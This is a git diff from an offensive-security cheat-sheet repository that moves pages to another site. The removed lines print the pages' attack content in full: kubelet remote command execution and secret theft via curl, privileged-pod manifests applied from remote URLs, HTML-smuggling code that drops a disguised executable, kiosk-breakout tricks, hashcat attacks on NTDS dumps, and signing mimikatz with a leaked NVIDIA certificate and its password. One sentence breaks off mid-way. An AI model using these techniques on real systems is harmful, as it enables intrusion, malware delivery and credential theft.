* [Domain fronting](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#domain-fronting)
* [OpSec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#opsec)
* [Customer ID](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#customer-id)
* [Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#payloads)
* [DNS Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#dns-beacon)
* [SMB Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#smb-beacon)
* [Metasploit compatibility](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#metasploit-compatibility)
* [Custom Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#custom-payloads)
* [Malleable C2](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#malleable-c2)
* [Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#files)
* [Powershell and .NET](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-and-net)
* [Powershell commabds](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-commands)
* [.NET remote execution](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#net-remote-execution)
* [Lateral Movement](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#lateral-movement)
* [VPN & Pivots](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#vpn--pivots)
* [Kits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#kits)
* [Elevate Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#elevate-kit)
* [Persistence Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#persistence-kit)
* [Resource Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#resource-kit)
* [Artifact Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#artifact-kit)
* [Mimikatz Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#mimikatz-kit)
* [Sleep Mask Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#sleep-mask-kit)
* [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer)
* [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files)
* [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)

File diff suppressed because one or more lines are too long

View File

@ -1,67 +1,9 @@
# Container - Kubernetes
> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications
:warning: Content of this page has been moved to [InternalAllTheThings/containers/kubernetes/](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/)
## Summary
- [Tools](#tools)
- [Exploits](#exploits)
- [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp)
- [Obtaining Service Account Token](#obtaining-service-account-token)
- [References](#references)
## Tools
* [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges.
```ps1
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
```
* [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication
* [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph
```ps1
# Critical paths enumeration
kh.containers().criticalPaths().count()
kh.containers().dedup().by("name").criticalPaths().count()
kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count()
kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count()
kh.endpoints(EndpointExposure.External).criticalPaths().count()
kh.services().criticalPaths().count()
# DNS services and port
kh.endpoints(EndpointExposure.External).criticalPaths().limit(local,1)
.dedup().valueMap("serviceDns","port")
.group().by("serviceDns").by("port")
```
## Exploits
### Accessible kubelet on 10250/TCP
Requirements:
* `--anonymous-auth`: Enables anonymous requests to the Kubelet server
* Getting pods: `curl -ks https://worker:10250/pods`
* Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'`
### Obtaining Service Account Token
Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token`
Use the service account token:
* on `kube-apiserver` API: `curl -ks -H "Authorization: Bearer <TOKEN>" https://master:6443/api/v1/namespaces/{namespace}/secrets`
* with kubectl: ` kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="<TOKEN>" get secrets --all-namespaces -o json`
## References
* [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet)
* [kubehound - Attack Reference](https://kubehound.io/reference/attacks/)
* [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/)
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#tools)
- [Exploits](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#exploits)
- [Accessible kubelet on 10250/TCP](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#accessible-kubelet-on-10250tcp)
- [Obtaining Service Account Token](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#obtaining-service-account-token)
- [References](#references)

View File

@ -1,152 +1,16 @@
# Application Escape and Breakout
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/escape-breakout](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/)
* [Gaining a command shell](#gaining-a-command-shell)
* [Sticky Keys](#sticky-keys)
* [Dialog Boxes](#dialog-boxes)
* [Creating new files](#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
* [Exploring Context Menus](#exploring-context-menus)
* [Save as](#save-as)
* [Input Boxes](#input-boxes)
* [Bypass file restrictions](#bypass-file-restrictions)
* [Internet Explorer](#internet-explorer)
* [Shell URI Handlers](#shell-uri-handlers)
* [References](#references)
## Gaining a command shell
* **Shortcut**
* [Window] + [R] -> cmd
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
* **MSPAINT.exe**
* Open MSPaint.exe and set the canvas size to: `Width=6` and `Height=1` pixels
* Zoom in to make the following tasks easier
* Using the colour picker, set pixels values to (from left to right):
```ps1
1st: R: 10, G: 0, B: 0
2nd: R: 13, G: 10, B: 13
3rd: R: 100, G: 109, B: 99
4th: R: 120, G: 101, B: 46
5th: R: 0, G: 0, B: 101
6th: R: 0, G: 0, B: 0
```
* Save it as 24-bit Bitmap (*.bmp;*.dib)
* Change its extension from bmp to bat and run
## Sticky Keys
* Spawn the sticky keys dialog
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
* Hit 5 times [SHIFT]
* Visit "Ease of Access Center"
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
* Start the OSK (On-Screen-Keyboard)
* You can now use the keyboard shortcut (CTRL+N)
## Dialog Boxes
### Creating new files
* Batch files Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
* Shortcuts Right click > New > Shortcut > `%WINDIR%\system32`
## Open a new Windows Explorer instance
* Right click any folder > select `Open in new window`
## Exploring Context Menus
* Right click any file/folder and explore context menus
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
### Save as
* "Save as" / "Open as" option
* "Print" feature selecting "print to file" option (XPS/PDF/etc)
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
### Input Boxes
Many input boxes accept file paths; try all inputs with UNC paths such as `//attackerpc/` or `//127.0.0.1/c$` or `C:\`
### Bypass file restrictions
Enter *.* or *.exe or similar in `File name` box
## Internet Explorer
### Download and Run/Open
* Text files -> opened by Notepad
### Menus
* The address bar
* Search menus
* Help menus
* Print menus
* All other menus that provide dialog boxes
### Accessing filesystem
Enter these paths in the address bar:
* file://C:/windows
* C:/windows/
* %HOMEDRIVE%
* \\127.0.0.1\c$\Windows\System32
### Unassociated Protocols
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
to trigger the *open with* prompt and select a program installed on the host.
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
It is possible to send multiple parameters to the program by adding spaces in your uri.
Note: This technique required that the protocol used is not already associated with a program.
Example - Launching Firefox with a custom profile:
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
0. Firefox need to be installed.
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
2. Press enter to navigate to the uri.
3. Select the firefox program.
4. Firefox will be launched with the profile `Test`.
In this example, it's the equivalent of running the following command:
```
firefox irc://127.0.0.1 -P "Test"
```
## Shell URI Handlers
* shell:DocumentsLibrary
* shell:Librariesshell:UserProfiles
* shell:Personal
* shell:SearchHomeFolder
* shell:System shell:NetworkPlacesFolder
* shell:SendTo
* shell:Common Administrative Tools
* shell:MyComputerFolder
* shell:InternetFolder
## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)
* [HOW TO LAUNCH COMMAND PROMPT AND POWERSHELL FROM MS PAINT - 2022-05-14 - Rickard](https://tzusec.com/how-to-launch-command-prompt-and-powershell-from-ms-paint/)
* [Gaining a command shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#gaining-a-command-shell)
* [Sticky Keys](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#sticky-keys)
* [Dialog Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#dialog-boxes)
* [Creating new files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#creating-new-files)
* [Open a new Windows Explorer instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#open-a-new-windows-explorer-instance)
* [Exploring Context Menus](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#exploring-context-menus)
* [Save as](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#save-as)
* [Input Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#input-boxes)
* [Bypass file restrictions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#bypass-file-restrictions)
* [Internet Explorer](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#internet-explorer)
* [Shell URI Handlers](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#shell-uri-handlers)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#references)

View File

@ -1,43 +1,6 @@
# HTML Smuggling
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/html-smuggling](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/)
- [Description](#description)
- [Executable Storage](#executable-storage)
## Description
HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file.
## Executable storage
We can store our payload in a Blob object => JS: `var blob = new Blob([data], {type: 'octet/stream'});`
To perform the download, we need to create an Object Url => JS: `var url = window.URL.createObjectURL(blob);`
With those two elements, we can create with Javascript our \<a> tag which will be used to download our malicious file:
```Javascript
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
```
To store ou payload, we use base64 encoding:
```Javascript
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'NotAMalware.exe';
```
- [Description](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#description)
- [Executable Storage](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#executable-storage)

View File

@ -1,169 +1,15 @@
# Hash Cracking
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/hash-cracking](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/)
* [Hashcat](https://hashcat.net/hashcat/)
* [Hashcat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat)
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashcat Install](#hashcat-install)
* [Mask attack](#mask-attack)
* [Dictionary](#dictionary)
* [Hashcat Install](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat-install)
* [Mask attack](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#mask-attack)
* [Dictionary](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#dictionary)
* [John](https://github.com/openwall/john)
* [Usage](#john-usage)
* [Rainbow tables](#rainbow-tables)
* [Tips and Tricks](#tips-and-tricks)
* [Online Cracking Resources](#online-cracking-resources)
* [References](#references)
## Hashcat
### Hashcat Install
```powershell
apt install cmake build-essential -y
apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
```
1. Extract the hash
2. Get the hash format: https://hashcat.net/wiki/doku.php?id=example_hashes
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
4. Enjoy plains
5. Review strategy
6. Start over
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* [hashmob.net](https://hashmob.net/research/wordlists)
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
### Mask attack
Mask attack is an attack mode which optimize brute-force.
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
```powershell
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
# Mask: lower*6 + digit*2 + special digit(+!?*)
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
# Mask: lower*6 + digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
# Other examples
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
```
| Shortcut | Characters |
|----|----------------------------|
| ?l | abcdefghijklmnopqrstuvwxyz |
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?d | 0123456789 |
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
| ?a | ?l?u?d?s |
| ?b | 0x00 - 0xff |
## John
### John Usage
```bash
# Run on password file containing hashes to be cracked
john passwd
# Use a specific wordlist
john --wordlist=<wordlist> passwd
# Use a specific wordlist with rules
john --wordlist=<wordlist> passwd --rules=Jumbo
# Show cracked passwords
john --show passwd
# Restore interrupted sessions
john --restore
```
## Rainbow tables
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
## Tips and Tricks
* Cloud GPU
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
* Build a rig on premise
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
* Online cracking
* [Hashes.com](https://hashes.com/en/decrypt/hash)
* [hashmob.net](https://hashmob.net/): great community with Discord
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
* PACK (Password Analysis and Cracking Kit)
* https://github.com/iphelix/pack/blob/master/README
* Can produce custom hcmask files to use with hashcat, based on statistics and rules applied on an input dataset
* Use Deep Learning
* [brannondorsey/PassGAN](https://github.com/brannondorsey/PassGAN)
## Online Cracking Resources
* [hashes.com](https://hashes.com)
* [crackstation](https://crackstation.net)
* [Hashmob](https://hashmob.net/)
## References
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)
* [DeepPass — Finding Passwords With Deep Learning - Will Schroeder - Jun 1](https://posts.specterops.io/deeppass-finding-passwords-with-deep-learning-4d31c534cd00)
* [Usage](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#john-usage)
* [Rainbow tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#rainbow-tables)
* [Tips and Tricks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#tips-and-tricks)
* [Online Cracking Resources](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#online-cracking-resources)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#references)

View File

@ -1,190 +1,11 @@
# Initial Access
> Initial Access Files in the context of a Red Team exercise refer to the set of files, scripts, executables, or documents used by the Red Team to initially infiltrate the target system or network. These files often contain malicious payloads or are designed to exploit specific vulnerabilities in order to establish a foothold in the target environment.
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/)
## Summary
* [Complex Chains](#complex-chains)
* [Container](#container)
* [Payload](#payload)
* [Binary Files](#binary-files)
* [Code Execution Files](#code-execution-files)
* [Embedded Files](#embedded-files)
* [Code Signing](#code-signing)
## Complex Chains
> DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY))
* **DELIVERY**: means to deliver a pack full of files
* HTML Smuggling, SVG Smuggling, Attachments
* **CONTAINER**: archive bundling all infection dependencies
* ISO/IMG, ZIP, WIM
* **TRIGGER**: some way to run the payload
* LNK, CHM, ClickOnce applications
* **PAYLOAD**: the malware
* Binary Files
* Code Execution Files
* Embedded Files
* **DECOY**: used to continue pretext narration after detonating malware
* Typically open PDF files
Examples:
* HTML SMUGGLING(PASSWORD PROTECTED ZIP + ISO(LNK + IcedID + PNG)) used by [TA551/Storm-0303](https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/)
## Container
* **ISO/IMG** - can contain hidden files, gets **automounted** giving easy access to contained files (`powershell c .\malware.exe`)
* **ZIP** - can contain hidden files (locate ZIP + unpack it + change dir + run Malware)
* **WIM** - Windows Image, builtin format used to deploy system features
```ps1
# Mount/Unmount .WIM
PS> Mount-WindowsImage -ImagePath myarchive.wim -Path "C:\output\path\to\extract" -Index 1
PS> Dismount-WindowsImage -Path "C:\output\path\to\extract" -Discard
```
* **7-zip, RAR, GZ** - should get a native support on Windows 11
## Trigger
* **LNK**
* **CHM**
* **ClickOnce**
## Payload
### Binary Files
These files can be executed directly on the system without any third party.
* **.exe** file, executable file can be run with a click
* **.dll** file, execute with `rundll32 main.dll,DllMain`
```c
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
MessageBox(NULL, "Hello world!", "Hello World!", NULL);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
* **.cpl** file, same as a .dll file with Cplapplet export
```c
#include "stdafx.h"
#include <Windows.h>
extern "C" __declspec(dllexport) LONG Cplapplet(
HWND hwndCpl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
)
{
MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
return 1;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
Cplapplet(NULL, NULL, NULL, NULL);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
### Code Execution Files
* Word with Macro (.doc, .docm)
* Excel library (.xll)
* Excel macro-enabled add-in file (.xlam)
```ps1
xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART
```
* WSF files (.wsf)
* MSI installers (.msi)
```ps1
powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi
```
* MSIX/APPX app package (.msix, .appx)
* ClickOnce (.application, .vsto, .appref-ms)
* Powershell scripts (.ps1)
* Windows Script Host scripts (.wsh, .vbs)
```ps1
cscript.exe payload.vbs
wscript payload.vbs
wscript /e:VBScript payload.txt
```
### Embedded Files
* ICS Calendar Invites with Embedded Files
## Code Signing
Certificate can be **Expired**, **Revoked**, **Valid**.
Many certificates leaked on the Internet and got re-used by Threat Actor.
Some of them can be found on VirusTotal, with the query : `content:{02 01 03 30}@4 AND NOT tag:peexe`
In 2022, LAPSUS$ claimed responsibility for a cyberattack on NVIDIA, a major graphics card and AI technology manufacturer. As part of this attack, LAPSUS$ allegedly stole proprietary data from NVIDIA and threatened to leak it. The leak contained
* Certificates can be password protected. Use [pfx2john.py](https://gist.github.com/tijme/86edd06c636ad06c306111fcec4125ba)
```ps1
john --wordlist=/opt/wordlists/rockyou.txt --format=pfx pfx.hashes
```
* Sign a binary with a certificate.
```ps1
osslsigncode sign -pkcs12 certs/nvidia-2014.pfx -in mimikatz.exe -out generated/signed-mimikatz.exe -pass nv1d1aRules
```
* The following files can be signed with a certificate
* executables: .exe, .dll, .ocx, .xll, .wll
* scripts: .vbs, .js, .ps1
* installers: .msi, .msix, .appx, .msixbundle, .appxbundle
* drivers: .sys
* cabinets: .cab
* ClickOnce: .application, .manifest, .vsto
## References
* [Top 10 Payloads: Highlighting Notable and Trending Techniques - delivr.to](https://blog.delivr.to/delivr-tos-top-10-payloads-highlighting-notable-and-trending-techniques-fb5e9fdd9356)
* [Executing Code as a Control Panel Item through an Exported Cplapplet Function - @spotheplanet](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function)
* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon Youtube](https://youtu.be/CwNPP_Xfrts)
* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon PDF](https://binary-offensive.com/files/x33fcon%20-%20Desperate%20Infection%20Chains.pdf)
* [Red Macros Factory - https://binary-offensive.com/](https://binary-offensive.com/initial-access-framework)
* [Complex Chains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#complex-chains)
* [Container](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#container)
* [Payload](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#payload)
* [Binary Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#binary-files)
* [Code Execution Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-execution-files)
